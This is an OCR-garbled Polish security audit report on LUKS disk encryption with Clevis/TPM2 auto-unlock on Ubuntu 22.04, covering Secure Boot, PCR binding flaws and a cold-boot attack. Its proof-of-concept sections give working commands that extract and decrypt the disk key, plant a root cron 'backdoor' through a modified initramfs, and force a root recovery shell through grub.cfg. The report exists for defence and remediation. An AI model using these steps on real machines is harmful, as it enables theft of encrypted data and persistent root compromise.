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SecuriTum

Podsumowanie wykonanych prac

Niniejszy raport jest podsumowaniem analizy zabezpieczen komputera z szyfrowaniem Linux LUKS (ang. Linux
Unified Key Setup) przeprowadzonych przez firme Securitum. Przedmiotem testow byta konfiguracja systemu
Ubuntu 22.04 (wybranych ustug sieciowych), ze szczegdlnym uwzglednieniem ustawien szyfrowania LUKS.

Analiza zostata przeprowadzona z dwéch perspektyw:

1. Atakujacy zna hasto uzytkownika w systemie.
2. Atakujacy nie zna hasta zadnego uzytkownika.

W kazdym z tych scenariuszy przyjeto zatozenie, ze atakujacy posiada fizyczny dostep do testowanego
urzadzenia, w tym réwniez dostep do ustawien UEFI (ang. Unified Extensible Firmware Interface). Gtownym
celem testow byto sprawdzenie czy istnieje mozliwos¢ uzyskania nieautoryzowanego dostepu do poufnych
danych (w tym przypadku: algorytméw) nalezacych do firmy z branzy medycznej, biorac pod uwage caty
proces dostarczania oraz funkcjonowania oprogramowania w Srodowisku uzytkownika koAcowego.

Podczas testéw ustalono, ze podmiot bedacy bezpos$rednim posiadaczem urzadzenia ma mozliwosé
zresetowania dostepu do ustawien UEFI. Istnieje wiele sposobow na uzyskanie takiego dostepu recznie, ale
warto zauwazy¢, ze producenci sprzetu daja rowniez awaryjng mozliwos¢ podania ,hasta zapasowego” do
UEFI, po okazaniu dowodu zakupu.

Najistotniejsze znalezione podatnosci to:

e [CRITICAL] SECURITUM-24989-001: Niepoprawna konfiguracja bankéw PCR procesu szyfrowania
dysku z wykorzystaniem LUKS.
e [CRITICAL] SECURITUM-24989-002: Cold Boot Attack.

W trakcie prac szczegdlny nacisk potozono na podatnosci majace lub mogace miec¢ negatywny wptyw na
poufnosc, integralnos¢ oraz dostepnosé przetwarzanych danych.

Manualne testy bezpieczefAstwa przeprowadzono zgodnie z wewnetrznymi metodykami przeprowadzania
testéw bezpieczenstwa firmy Securitum.

Raport zostat przygotowany w taki sposob, aby w podsumowaniu znalazty sie informacje niezbedne do
zrozumienia opisywanych podatnosci w dalszej czesci, w tym m.in. sama analiza procesu dostarczania obrazu,

instalacji oraz zagrozen z tego wynikajacych. W dalszej czesci znajduja sie podatnosci z wraz technicznym
opisem oraz PoC (ang. Proof of Concept), ktory udato sie wypracowac w trakcie audytu.

Z rekomendacji wykluczono zalecenie dot. wytaczenia automatycznego odblokowywania dysku i koniecznosc
kazdorazowego, recznego, podawania hasta przy uruchamianiu urzadzenia. Jest to najskuteczniejszy
dostepny mechanizm obrony w takim przypadku, jednakze ze wzgledu na specyfike biznesowa rozwiazania
oraz wyrazna prosbe Zamawiajacego, rekomendacja ta zostata wykreslona.
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Proces UEFI Secure Boot

Szczegdlnie istotne dla zrozumienia ponizej opisanych podatnosci oraz zarekomendowanych dziatan jest
petne zrozumienie procesu Secure Boot. W kontekscie bankéw PCR (ang. Platform Configuration Registers)
w TPM (ang. Trusted Platform Module), pomiar odnosi sie do procesu zapisywania stanu systemu, np. kodu
startowego BIOS-u, bootloadera czy kluczy systemu plikow, do okreslonych rejestrow PCR w celu utworzenia
unikalnego "odcisku" lub "sygnatury" systemu, ktéry moze by¢ pdzniej zweryfikowany w celu zapewnienia
integralnosci systemu operacyjnego i oprogramowania. TPM posiada 32 banki PCR i kazdy z nich posiada
swoja funkcje. Ponizej znajduje sie przyktadowe zestawienie funkgji:

Table 1 PCR Usage
PCR Index PCR Usage

0 SRTM, BIOS, Hpst Platform Extensions, Embedded Option
ROMs and PI Drivers

1 Host Platform Configuration
UEF! driver and application Code
UEFI driver and application Configuration and Data

4 UEFI Boot Manager Code (usually the MBR) and Boot
Attempts

5 Boot Manager Code Configuration .a'nd Data (for use by the
Boot Manager Code) and GPT/Partition Table

6 Host Platform Manufacturer Specific

7 Secure Boot Policy

8-15 Defined for use by the Static OS
16 Debug
23 Application Support

Ponizej znajduje sie formuta wykorzystywana do obliczenia nowej wartosci rejestru:
PCR new value = SHA256(PCR old value || data to extend)

Nie istnieje mozliwo$¢ bezposredniego przypisania wartosci do PCR. Jedyna dozwolona operacja to
rozszerzenie. Dzieki temu, aby osiagnaé zadang wartos¢ pomiaru, nalezy znac caty tancuch wartosci, a nie tylko
warto$¢ ostateczna.

tancuch zaufania (ang. Chain of Trust) w UEFI Secure Boot to proces weryfikacji kolejnych komponentow
oprogramowania podczas uruchamiania systemu, gdzie kazdy komponent jest autoryzowany i zweryfikowany
przez poprzedni zaufany element, rozpoczynajac od kluczy publicznych wbudowanych w UEFI Firmware.

W praktyce, Chain of Trust w UEFI Secure Boot rozpoczyna sie od zaufanych kluczy publicznych wbudowanych
w UEFI Firmware (znajduja sie w pamieci UEFI na ptycie gtéwnej). Po uruchomieniu systemu, UEFI Firmware
uzywa klucza publicznego PK do weryfikacji podpisu cyfrowego bootloadera. Jesli podpis zostanie
zweryfikowany, bootloader zostaje uruchomiony, a nastepnie jest on odpowiedzialny za weryfikacje
i uruchomienie kolejnego komponentu, na przyktad jadra systemu operacyjnego.
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Odpowi
tancuch
tancuch

edzialnosc¢ za weryfikacje kolejnych komponentéw oprogramowania przenosi sie z jednego ogniwa
a na kolejne. UEFI Firmware odgrywa kluczowa role, inicjujac ten proces poprzez uruchomienie
a zaufania (Chain of Trust), chociaz samo w sobie nie dokonuje petnej weryfikacji kazdego kroku.

Ponizej znajduje sie schemat obrazujacy proces Chain of Trust w przypadku badanego obrazu Ubuntu 22.04:

UEFI . -
Boot Shim Bootloader kernel + initrd
bootx64.efdi grub.efi kernel
ry
S —_— —
initrd
grub.cfg
Rysunek 1. Zrédlto: https://www.suse.com/c/secure-boot-net-install,

Proces rozpoczyna sie od zatadowania oprogramowania poktadowego UEFI, nastepnie wykonywane jest

kolejno:

1.

UEFI Firmware inicjuje proces Secure Boot, sprawdzajac podpis cyfrowy programu tadujacego (ang.
bootloader) za pomoca klucza publicznego przechowywanego w pamieci NVRAM znajdujacej sie na
ptycie gtéwnej. Po pomysinej weryfikacji, kontrola jest przekazywana do oprogramowania Shim, ktére
dziata jako posrednik miedzy systemem operacyjnym a bootloaderem, umozliwiajgc uruchomienie
kodu, ktory posiada podpis cyfrowy, ale nie jest bezposrednio zaufanym kluczem przez system Secure
Boot. Shim przejmuje odpowiedzialno$¢ za weryfikacje i uruchomienie kolejnych komponentéw,
takich jak jadro systemu operacyjnego i inne krytyczne pliki. Oprogramowanie Shim jest podpisywane
przez Microsoft UEFI CA. W przypadku gdy podpis sie zgadza to nastepuje rozszerzenie wartosci banku
PCRT o warto$¢ odcisku palca (ang. fingerprint) certyfikatu.

Odpowiedzialno$¢ za poprawne dziatanie Secure Boot jest przenoszone na Shim, ktérego zadaniem
jest zweryfikowanie podpisu GRUB’a (program rozruchowy, stosowany gtéwnie w systemach
operacyjnych opartych na Linuksie) oraz jadra systemu operacyjnego (ang. kernel) za pomoca kluczy
publicznych wgranych w plik binarny Shim. Shim zostat wykorzystany w celu umozliwienia
producentom systemoéw operacyjnych opartych na Linuksie samodzielnego podpisywania
bootloadera lub jadra systemu, eliminujac konieczno$¢ zadania podpisu cyfrowego od firmy
Microsoft. Klucze publiczne wykorzystywane w tym procesie znajduja sie w pliku binarnym Shim’a. Sa
to miedzy innymi klucze wykorzystywane przez dystrybucje Debian, Ubuntu oraz inne popularne
systemy operacyjne. Alternatywnie istnieje mozliwos¢ zdefiniowania wtasnych kluczy (ang. Machine
Owner Key). Gdy podpis GRUB’a zostanie pomyslnie zweryfikowany nastepuje pomiar i rozszerzenie
wartosci banku PCR7 o wartos¢ odcisku palca (ang. fingerprint) certyfikatu.

Odpowiedzialno$¢ za Secure Boot jest przenoszona na GRUB’a. GRUB z wykorzystanie kluczy Shim’a
(wbudowanych oraz Machine Owner Keys) weryfikuje podpis kernela i decyduje o dalszym tadowaniu
systemu. W przypadku pomyslnej weryfikacji nastepuje pomiar i rozszerzenie wartosci banku PCR7
o wartos¢ certyfikatu. A nastepnie uruchamiany jest kernela.
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4. W kolejnym kroku odpowiedzialno$¢ za Secure Boot jest przenoszona na jadro Linuksa. Rozruch
kernela rozpoczyna sie od inicjalizacji system plikow Linuksa - initramfs (Initial RAM File System), czyli
system plikbw w pamieci RAM, stuzacy do inicjalizacji i montowania niezbednych urzadzen
wymaganych do uruchomienia systemu. W tym miejscu nie nastepuje juz zaden pomiar.

Kazdy z tych komponentéw musi by¢ podpisany cyfrowo, a ich podpisy sa weryfikowane przez klucze
publiczne przechowywane w poprzednich komponentach, tworzac tym samym tancuch zaufania. Innymi
stowy, UEFI Firmware nie sprawdza bezposrednio wszystkich kolejnych komponentéw oprogramowania, ale
inicjuje proces weryfikacji, ktéry przenosi sie z jednego zweryfikowanego komponentu na kolejny, az do
osiagniecia petnego uruchomienia systemu operacyjnego.

Podsumowujac najwazniejsze informacje:

1. Ostateczna wartos¢ PCRTY dla dowolnych Kerneli bedzie taka sama, dopdki sa podpisane tym samym
certyfikatem. Atakujacy moze zainstalowac drugi, réwnolegty system Linux i odblokowac¢ dysk. W tym
ataku musza sie pokrywac certyfikaty Shim/GRUB/Linux Kernel, a nie same pliki.

2. Atakujacy moze zmodyfikowac zawartos¢ Initramfs, poniewaz jego suma kontrolna nie jest mierzona
w procesie Secure Boot. Zostato to szerzej opisane w drugim przyktadzie podatnosci SECURITUM-
24989-001.

3. Ustawienia dla GRUB’a (plik grub.cfg) nie sg mierzone w banku PCR7, co pozwala atakujgcemu na
modyfikacje ich wartosci i np. wprowadzenie systemu w tryb odzyskiwania (ang. recovery mode)
i uzyskanie shell’a z rootem na odszyfrowanym dysku.

Kazda z metod, wraz z rekomendacjami, zostata szczegétowo opisana w dalszej czesci raportu. Ogélna
rekomendacja zaktada dodanie dodatkowych bankéw PCR, ktére maja na celu wyeliminowanie powyzszych
atakow:

e PCR1-mierzy konfiguracje UEFI (w tym Boot Order),
e PCR8-mierzy konfiguracje GRUB’a oraz parametry startowe kernela,
e PCR9 - mierzy kernel, initramfs i wszystkie zatadowane moduty multiboot.

Proces dostarczania obrazu i instalacji systemu operacyjnego

Podczas analizy ustalono, ze uzytkownik koncowy otrzymuje obraz ISO z dystrybucjg Ubuntu 22.04 oraz
wstepna konfiguracja systemu operacyjnego. Plik konfiguracyjny wraz ze skryptami znajduje sie w obrazie.
Konfiguracja zawiera miedzy innymi, poczatkowy klucz szyfrowania dysku oraz dane dostepowe
poszczegblnych uzytkownikow. Taki dostep daje mozliwo$¢ wprowadzenia ztosliwego oprogramowania,
a takze dodanie nowego uzytkownika, do ktérego atakujacy bedzie znat poswiadczenia. Moze tego dokonad
przed instalacja, modyfikujac konfiguracje lub zaraz po instalacji systemu operacyjnego. Co wiecej, jezeli
atakujacy jest wtascicielem sprzetu i ma do niego dostep jeszcze przed instalacja, mégtby skonfigurowac
wiasne klucze w UEFI jeszcze przed wdrozeniem systemu docelowego.

Datoby mu to petna kontrole nad wykonywanym oprogramowaniem. Jezeli wstepna konfiguracja zostataby
wykonana na kernelu/bootloaderze podpisanym ztosliwym kluczem to warto$¢ banku PCR7 bedzie odnosita
sie do ztosdliwego certyfikatu. W tej sytuacji atakujacy mogtby dowolnie modyfikowad kernel/bootloader juz w
trakcie petenego funkcjonowania catego systemu bez ingerencji w proces Secure Boot. Jednym z rozwigzan
jest dostarczanie gotowej maszyny z zainstalowanym systemem, ustawionym hastem do UEFI oraz obudowe,
ktéra jest wyposazona w czujnik otwarcia zasilana z wewnetrznego zrodta w samej obudowie.
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Rekomendowana platforma

Zaleca sie, aby docelowa platforma sprzetowa wspierata nastepujace funkcje:

e Zdalny system do zarzadzania urzadzeniem (KVM, HP iLO lub podobne).

o fTPM (Firmware TPM) w wersji od AMD lub odpowiednik Intela - Platform Trust Technology, jest to ten
sam mechanizm pod réznymi nazwami.

e UEFIzMemory Data Scrambling, aby zapewni¢ czyszczenie pamieci RAM przy starcie. Zminimalizuje
to ataki typu Cold Boot poprzez wymazanie poufnych danych.

e Obudowa z czujnikiem otwarcia, ktoéry w przypadku jej naruszenia spowoduje zmiane wartosci
w banku PCR7.

Zaleca sie wykorzystanie fTPM, ze wzgledu na mozliwos¢ aktualizacji mikrokodu (zestaw wbudowanych
instrukcji programowych w procesorze, ktére moga byc aktualizowane poprzez firmware BIOS lub UEFI,)
w sytuacji, gdyby zostata ujawniona jaka$ podatnos$¢. Zazwyczaj w przypadku uktadéw dyskretnych
(fizycznych), gdy zostanie odkryty nowy atak to posiadacze sprzetu nie majg mozliwosci ochrony, pozostaje
tylko wymiana ptyty gtownej lub samego uktadu na nowsza wersje.

Na prosbe Zamawiajgcego zostat rozpatrzony przypadek préb atakow polegajacych na podstuchaniu
magistrali komunikacyjnych 12C/LPC/SPI pomiedzy uktadem TPM a Chipsetem na ptycie gtownej. Specyfikacja
TPM2 przewiduje mozliwos¢ szyfrowania komunikacji TPM-Aplikacja. Jest to zaimplementowane i domyslnie
wtaczone w LUKS.

W analizowanym przypadku wykorzystanie ,Self-encrypting drives” nie przyniesie zadnych korzysci dla
bezpieczenstwa, poniewaz wymagatoby to ustawienia hasta, ktore trzeba wpisa przy uruchamianiu systemu.
Przeniesienie dysku (bez skonfigurowanego hasta) do innego komputera pozwoli na bezproblemowe
odczytania danych, poniewaz proces szyfrowania/deszyfrowania odbywa sie wewnatrz dysku. Obecnie nie
istnieje mozliwos¢ wspétistnienia ,Self-encrypting drives” oraz Secure Boot’a w systemie Linux. Dodatkowo,
obecnos¢ TPM2 nie zapewnia zadnego dodatkowego zabezpieczenia i nie zapewnia integralnosci platformy.

Nie zaleca sie wgrywania wtasnych kluczy MOK, a jedynie poleganie na podpisach od zaufanych urzedow
certyfikacyjnych (ang. CA). Wykorzystanie wtasnych kluczy MOK zwieksza powierzchnie ataku oraz dodatkowo
wymaga bezpiecznego zarzadzanie kluczami (utrzymanie infrastruktury klucza publicznego, ang. PKI),
utrudnia dostarczanie oprogramowania i tworzy wiele innych problemow.

Potencjalne problemy z zablokowaniem dziatania maszyny

W przypadku samego dysku, problemy z zablokowaniem dziatania maszyny moga wystapi¢ w przypadku, gdy
nastapi zmiana wartosci bankéw PCR. Przy zalecanej konfiguracji tj. PCR 1, 7, 8, 9 oznacza to, ze kazda
z ponizszych akcji moze spowodowac zablokowanie:

e aktualizacja Kernela/initramfs,

e aktualizacja konfiguracji GRUB’a,
e zmiana ustawien w UEFI.

Co istotne, aktualizacja kernela zawsze wiaze sie z aktualizacja initramfs oraz konfiguracji GRUB’a. Jest to
nieuniknione i w tym przypadku zaleca sie  wykorzystanie narzedzia  tpm_futurepcr
(https://github.com/grawity/tpm futurepcr), ktére pozwala na wyliczenie przysztych wartosci PCR, aby
uniknac koniecznosci recznego odblokowywania po wykonaniu jednej z powyzszych akcji.
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Dodatkowo w przypadku aktualizacji sterownikéw (szczegdlnie tych od podmiotéw trzecich), dystrybucji lub
kernela do wyzszej, gtéwne] wersji (ang. major version), moze zosta¢ wymuszone dopisanie dodatkowego
klucza MOK. Spowoduje to, ze komputer nie zostanie uruchomiony, dopdki nie zostanie wykonana fizyczna
akcja (tj. zatwierdzenie tej operacji z uzyciem klawiatury w menu UEFI). Aby wyeliminowac ten problem, zaleca
sie cykliczne migrowanie od wersji LTS do kolejnej wersji LTS. Obecnie jest to Ubuntu w wersji 22.04. Nastepne
bedzie Ubuntu 24.04 LTS. Wersje LTS majg 5-cio letnie wsparcie oraz stabilnos¢. A co za tym idzie

zminimalizuje ryzyko wystapienia takiej sytuacji.
Atak stownikowy na dysk

Ze wzgledu na to, ze przechowywanie klucza szyfrowania jest wsparte uktadem TPM2, atak stownikowy jest
znacznie utrudniony. Przede wszystkim:

1. nie mozna go wykonac poza pierwotnym komputerem,

2. nie moze zostac naruszona integralnos¢ (banki PCR musza by¢ identyczne jak podczas konfiguraciji),

3. wielokrotne proby podania btednego hasta do TPM’a spowoduje jego zablokowanie i koniecznos¢
podania klucza odzyskiwania.
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Klasyfikacja podatnosci

Podatnosci  zostaty  sklasyfikowane —w  pieciostopniowej  skali  odzwierciedlajacej — zaroéwno
prawdopodobienstwo znalezienia podatnosci, jak i istotnos¢ skutkow jej wykorzystania. Ponizej zawarto
krétki opis kazdego z poziomow istotnosci:

. CRITICAL (podatnosc krytyczna) — wykorzystanie podatnosci umozliwia przejecie petnej kontroli
nad serwerem lub urzadzeniem sieciowym albo pozwala uzyskac¢ dostep (w trybie zapisu i/lub
odczytu) do danych o duzym poziomie poufnosci i istotnosci. Zazwyczaj podatnosc jest tez tatwa
dowykorzystania, tj. nie wymaga od napastnika posiadania dostepu do systemow, ktore sg trudne
do zdobycia, lub przeprowadzania atakéw socjotechnicznych. Podatnosci oznaczone jako
CRITICAL powinny by¢ naprawione bezzwtocznie, jesli wystepuja na srodowisku produkcyjnym.

. HIGH (podatno$¢ o wysokim poziomie istotnosci) — wykorzystanie podatnosci pozwala na
uzyskanie dostepu do wrazliwych informacji (podobnie jak przy poziomie krytycznym), jednak
moze wczesniej wymagac spetnienia pewnych warunkéw (np. posiadania konta uzytkownika
w wewnetrznym systemie) w celu praktycznego wykorzystania. Alternatywnie: podatno$¢ moze
zostac w tatwy sposob wykorzystana, jednak ograniczone sa jej skutki.

. MEDIUM (podatno$¢ o Srednim poziomie istotnosci) - wykorzystanie podatnosci moze zalezec od
zewnetrznych czynnikdéw (np. wymaga przekonania uzytkownika do klikniecia w tacze) lub moze
wymagac trudnych do spetnienia warunkéw. Ponadto wykorzystanie podatnosci zazwyczaj
umozliwia dostep tylko do ograniczonej ilosci danych lub do danych o mniejszym poziomie
istotnosci.

. LOW (podatnos¢ o niskim poziomie istotnosci) — wykorzystanie podatnosci ma niewielki
bezposredni wptyw na bezpieczefstwo przedmiotu testow lub wymaga bardzo trudnych
warunkow do spetnienia (np. fizyczny dostep do serwera).

. INFO (ogdlne zalecenia lub informacja) - punkty oznaczone poziomem INFO nie sa podatnosciami

bezpieczenstwa. Wskazuja jednak dobre praktyki, ktorych zastosowanie pozwala zwiekszyc
ogblny poziom bezpieczenstwa przedmiotu testéw. Alternatywnie: zwracaja uwage na pewne
rozwiazania (np. architektoniczne), pozwalajace uszczelnié przedmiot testow.

Zestawienie statystyczne

Ponize]j zestawienie statystyczne znalezionych podatnosci:

Wysokie zagrozenie
Srednie zagrozenie

Niskie zagrozenie
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[CRITICAL] SECURITUM-24989-001: Niepoprawna konfiguracja bankow

PCR procesu szyfrowania dysku z wykorzystaniem LUKS

(0]

Przedstawiona konfiguracja szyfrowania dysku LUKS wykorzystuje dodatkowe narzedzie Clevis, ktorego
zadaniem jest automatyczne odblokowanie dostepu do dysku. W tym celu zostat wykorzystany uktad TPM2,
ktéry na podstawie pomiarow na banku PCR7 podczas procesu Secure Boot (peten opis znalezé mozna na
poczatku raportu) decyduje o udostepnieniu klucza szyfrowania. Pomiary maja na celu zapewnienie, iz nie
doszto do modyfikacji zadnych komponentéw wczesnego rozruchu, a co za tym idzie naruszenia
bezpieczenstwa systemu. A takze uniemozliwienie scenariusza ataku polegajacego na kradziezy samego
dysku.

Konfiguracja zaktadajaca wykorzystanie jedynie banku PCRT nie jest bezpieczna. W trakcie audyty wykazano
szereg mozliwych atakéw zaktadajgcych fizyczny dostep do maszyny z zaszyfrowanym dyskiem i pomysine
uzyskanie dostepu do danych.

Wiecej informacji:

e https://github.com/rhboot/shim/blob/main/README.tpm

WARUNKI NIEZBEDNE DO WYKORZYSTANIA PODATNOSCI

Fizyczny dostep do maszyny docelowe;.

SZCZEGOLY TECHNICZNE (PROOF OF CONCEPT)

Do przeprowadzenia ponizej opisanych atakow potrzebny jest bootowalny pendrive z dystrybucja Ubuntu
22.04. Obraz ten mozna znalez¢ pod ponizszym linkiem:

https://releases.ubuntu.com/22.04.3/ubuntu-22.04.3-desktop-amd64.iso

W trakcie testéw zostat wykorzystany obraz, ktérego suma kontrolna SHA256 to:

a435f61393dda581172490eda9f683c32e495158a780b5alde422ee77d98e909

Przyktad #1 — réwnolegte zainstalowanie systemu Linuksa

Ten scenariusz ataku zaktada rownolegte zainstalowanie drugiego systemu Linux, np. z oficjalnego obrazu
Ubuntu 22.04. Aby uniknac utraty danych na dysku nalezy wykonac petna kopie zapasowa danych, a nastepnie

na innym niz gtownym dysku zainstalowac system. W trakcie instalacji nie trzeba wykonywac zadnej specjalne;
konfiguracji. Wystarczy zatwierdzi¢ standardowe ustawienia, zgodnie z instalatorem.

Gdy system zostanie zainstalowany, nalezy zalogowac sie na konto root (bezposrednio lub podniesc
uprawnienia za pomoca sudo). Nastepnie odnalez¢ partycje, ktéra jest celem za pomoca komendy:

# fdisk -1

a nastepnie zapisac ponizszy kod do pliku extract_token.sh wpisujac $ciezke do dysku we wskazane miejsce:

 #1/bin/bash

DEV="[SCIEZKA DO DYSKU]"

token=$(cryptsetup token export --token-id "1" "${DEV}")
\ DATA_CODED=$(jose fmt -j- -Og jwe -o- <<< "${token}" \
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| jose jwe fmt -i- -c)
echo ${DATA_CODED}

W kolejnym kroku nalezy nadac bit wykonywalny utworzonemu wczesniej plikowi:

# chmod +x ectract_token.sh

Przed wykonaniem skryptu nalezy zainstalowac niezbedne narzedzia:

# apt install clevis clevis-tpm2 clevis-luks clevis-initramfs

a nastepnie wykonac skrypt, wpisujac $ciezke do dysku we wskazane miejsce:

# ./extract_token.sh | clevis decrypt | cryptsetup open -d- [SCIEZKA DO _DYSKU] mapping

Przedstawiony wyzej kod realizuje nastepujace operacje:

1. Pozyskanie tokena Clevis’a z metadanych LUKS i konwersja danych z formatu JSON do formatu
Clevis’a (JSON Web Encryption),
Odszyfrowanie hasta z JWE za pomoca TPM2,
Odszyfrowanie dysku hastem przechowywanym przez Clevis’a.

Po wykonaniu skryptu, w systemie pojawi sie nowe urzadzenie blokowe:

/dev/dm-0

Nalezy je zamontowad w wybranym katalogu, aby méc przegladac dane z partycji:

# mkdir -p /mnt/encrypted_volume
# mount /dev/dm-© /mnt/encrypted_volume

root@user-Thin-GF63-12UC:~# ./extract_token.sh | clevis decrypt | cryptsetup open -d- /dev/nvme®nip3 mapping
root@user-Thin-GF63-12UC:~# mkdir encrypted_volume
root@user-Thin-GF63-12U # mount /dev/dm-® froot/encrypted_volume/
root@user-Thin-GF63-12U # cd encrypted_volume/
root@user-Thin-GF63-12UC:~/encrypted_volume# 1ls -1la
total 8388704
20 root root 4096 Feb
root root 4096 Feb
root root 7 Aug
drwxr-xr-x root root 4096 Feb

11:25
04:38
20:17
09:13
20:20
09:43
09:21
20:17
20:17
20:17
20:17
09:13
20:17
20:17

drwxr-xr-x root root 4096 Aug
root root 4096 Feb

X=X =X root root 4096 Feb
Lrwxrwxrwx 1 root root 7 Aug
Lrwxrwxrwx 1 root root 9 Aug

> root root 9 Aug

root root 10 Aug
root root Feb
root root Aug
root root Aug

1=t = T Y JT =TT BT L LY s JRE I Vs I I

Przyktad #2 — modyfikacja initramfs

W tym ataku zostanie wykorzystana wersja Live systemu Ubuntu 22.04. W tym celu po uruchomieniu systemu
z bootowalnego USB wystarczy wybrac opcje , Try”.

Gdy posiadamy dostep do systemu nalezy wykonac ponizsze komendy:

1. Zamontowanie partycji /boot:

# mkdir -p ~/boot
# mount /dev/nvme@nlp2 ~/boot
# cp ~/boot/initrd.img-5.15.0-92-generic .

2. Rozpakowanie obrazu initramfs z docelowej partycji:




‘ # unmkinitramfs initrd.img-5.15.0-92-generic extracted/

3. Przejscie do katalogu main:

‘ # cd extracted/main

4. Modyfikacji skryptu init:

‘ # sed -i 's/readonly=y/readonly=n/' init
# sed -1 '364 i echo "\''* * * * ¥ poot whoami >> /tmp/hackhack'\'"' >
"${rootmnt}/etc/cron.d/backdoor""' init

5. Ponowne spakowanie obrazu i jego podmiana:

‘ # find . | cpio -0 -H newc > ~/boot/initrd.img-5.15.0-92-generic

Powyzsze dziatania spowodowaty zmodyfikowanie skryptu init, ktéry jest uruchamiany zaraz po

zamontowaniu obrazu. Skrypt utworzy nowy wpis w systemie planowania zadan Cron, ktérego zadaniem jest

cykliczne zapisywanie wyniku komendy whoami do pliku /tmp/hackhack. Komenda ta jest wykonywana

z uprawnieniami root’a.

Po modyfikacji nalezy ponownie uruchomi¢ komputer i wskazac z Boot Menu docelowy system operacyjny,

w wyniku czego kod zostanie wykonany.

Przyktad #3 — modyfikacja konfiguracji GRUB’a

W tym ataku zostanie wykorzystana wersja Live systemu Ubuntu 22.04. W tym celu po uruchomieniu systemu

z bootowalnego USB wystarczy wybrac opcje , Try”.
Gdy posiadamy dostep do systemu nalezy wykonac ponizsze komendy:
1. Zamontowanie partycji /boot:

‘ # mkdir -p ~/boot
‘ # mount /dev/nvme@nlp2 ~/boot

2. Modyfikacja pliku grub. cfg:

‘ # nano ~/boot/grub/grub.cfg

W tym miejscu istnieje kilka mozliwych akcji do wykonania:

1. Wyszukanie frazy END /etc/grub.d/@e_header i ustawienie timeout Oraz timeout_style na ponizsze

wartosci:

insmod gettext
fi
terminal_output gfxterm
if [ "${recordfail}" = 1 ] ; then
set timeout=30
else
if [ x$feature_timeout_style = xy ] ; then
set timeout_style=menu
set timeout=10

elif sleep --interruptible 0 ; then
set timeout=10
fi
fi




2. Wyszukanie frazy menuentry 'Ubuntu’ i dodac fraze recovery do linijki 1inux, miedzy ro oraz quiet:

[+l user@user-Thin-GF63-12UC: ~

GNU nano 6.2 boot/grub/grub.cfg *

set linux_gfx_mode=text
T
export linux gfx mode
menuentry 'Ubuntu') --class ubuntu --class gnu-linux --class gnu --class os Smenuentry_id_option 'gnulinux—simple-ce?@adaz-e984—4H
recordfail
load_video
gfxmode S$linux_gfx_mode
insmod gzio
if [ xSgrub_platform = xxen ]; then insmod xzio; insmod lzopio; fi
insmod part_gpt
insmod ext2
set root="hdo,gpt2'
if [ xS$feature_platform_search_hint = xy ]; then
search --no-floppy --fs-uuid --set=root --hint-blos=hd®,gpt2 --hint-efi=hd0,gpt2 --hint-baremetal=ahci®,gpt2 co70ada2f
else
search --no-floppy --fs-uuid --set=root cO70ada2-e984-4003-85ac-50eff7c412b6
fi
Linux  /boot/vmlinuz- .0-17-generic root=UUID=c876ada2-e984-4003-85ac-50eff7c412b6 rollILMAR] quiet splash Svt_hanioff
LiLLrg JeooL/unLiia. L =0.2.0U-4/-gelel LC

'Advanced options for Ubuntu' $menuentry_id_option 'gnulinux-advanced-c@70adaz-e984-4003-85ac-50eff7cd412b6' {
menuentry 'Ubuntu, with Linux 6.5.8-17-generic' --class ubuntu --class gnu-linux --class gnu --class os $menuentry_id_opf
recordfail
load_video
gfxmode $1inux_gfx_mode
insmod gzio
if [ xSgrub_platform = xxen ]; then insmed xzio; insmed lzopio; fi

Help Write Out Where Is Cut Execute Location undo Set Mark
Wl Exit Wi Read File M Replace WY Paste & Justify Wi Go To Line M - E ) KBs Copy

Teraz wystarczy zapisa¢ zmiany, a nastepnie uruchomic system ponownie. W pierwszym przypadku pojawi sie
menu GRUB’a, gdzie nalezy wybrac¢ opcje Advanced options for Ubuntu, a nastepnie opcje recovery mode.

W drugim przypadku wystarczy uruchomié ponownie system. Po pojawieniu sie ,Recovery Menu” nalezy
wybrac wybrac opcje ,root”.

Recovery mode systemu Linux pozwala na dostep do systemu plikdéw z poziomu root. Ze wzgledu na to, ze nie
zmienit sie certyfikat obrazu kernela, to bank PCR7 zostanie nienaruszony.

LOKALIZACIA

Konfiguracja bankéw PCR.

REKOMENDACIA

Zaleca sie uwzglednienie dodatkowych bankdéw PCR przy konfiguracji szyfrowania dysku:

e PCRI - mierzy konfiguracje UEFI (w tym Boot Order),
e PCR8-mierzy konfiguracje GRUB’a oraz parametry startowe Kernela,
e PCR9 - mierzy Kernel, initramfs i wszystkie zatadowane moduty multiboot.

Co oznacza, ze ostateczna konfiguracja zaktada banki 1, 7, 8, 9. Kolejno, kazdy z tych bankéw spowoduije, ze
nie bedzie mozliwosci odszyfrowania partycji, jezeli zmieni sie:

e urzadzenie, z ktérego jest bootowany system,
e konfiguracja w pliku grub.cfg,
e zawarto$¢ Kernel, imitramfs lub konfiguracja modutow Kernela.



[CRITICAL] SECURITUM-24989-002: Cold Boot Attack

(0]

W trakcie audytu podjeto probe przeprowadzenia ataku typu Cold Boot. Atak ten ma na celu pozyskania klucza
szyfrowania dysku prosto z pamieci RAM. Atak zaktada, iz atakujacy uzyskat dostep fizyczny do maszyny po
odszyfrowaniu dysku. Dla przyktadu, atakujacy moégt ukras¢ uruchomionego laptopa lub ukrasc
komputer/serwer, ktéry ma zaimplementowane automatyczne odblokowanie dysku w trakcie rozruchu.

Atak polega na zamrozeniu (tj. znacznym obnizeniu temperatury) pamieci RAM z wykorzystaniem sprezonego
powietrza. Powoduje to wydtuzenie czasu ,zycia” tadunkow elektrycznych przechowujacych informacje
z komputera. Ponizej znajduje przyktadowa tabelka charakterystyki tego ataku dla pamieci:

Tabela 1. Zrédto: https://www.usenix.org/legacy/event/sec08/tech/full_papers/halderman/halderman.pdf

Procent btedéw w Procent btedéw w

Sekundy bez zasilania [s] o R
temperaturze operacyjnej [%)] temperaturze -50°C [%]

60 41 (no errors)
SDRAM 128Mb

300 50 0.000095

360 50 (no errors)
DDR512Mb

600 50 0.000036

120 41 0.00105
DDR 256Mb

360 42 0.00144

40 50 0.025
DDR2 512Mb

80 50 0.18

Zgodnie z przyktadowa wartoscig okresu odswiezania pamieci, komorki, aby zapewnic¢ ciagtos¢ dziatania
musza by¢ odswiezane co 64 ms w temperaturze ponizej 85°C. Im temperatura nizsza tym wiekszy jest okres.

Atak zostat przeprowadzony na laptopie wyposazonym w 4GB pamieci DDR4 o czestotliwosci pracy 1600 MHz
(efektywnej 3200 MHz). Ko$¢ RAM jest wyposazona w 4 uktady pamieci (kazdy 8Gb) znajdujace sie tylko po
jednej stronie:

[ wemnaszaecao.voy

E] | SAMSUNG W0D600002504082128

408 1Rx16 PC4-J200AA - SC0- 11
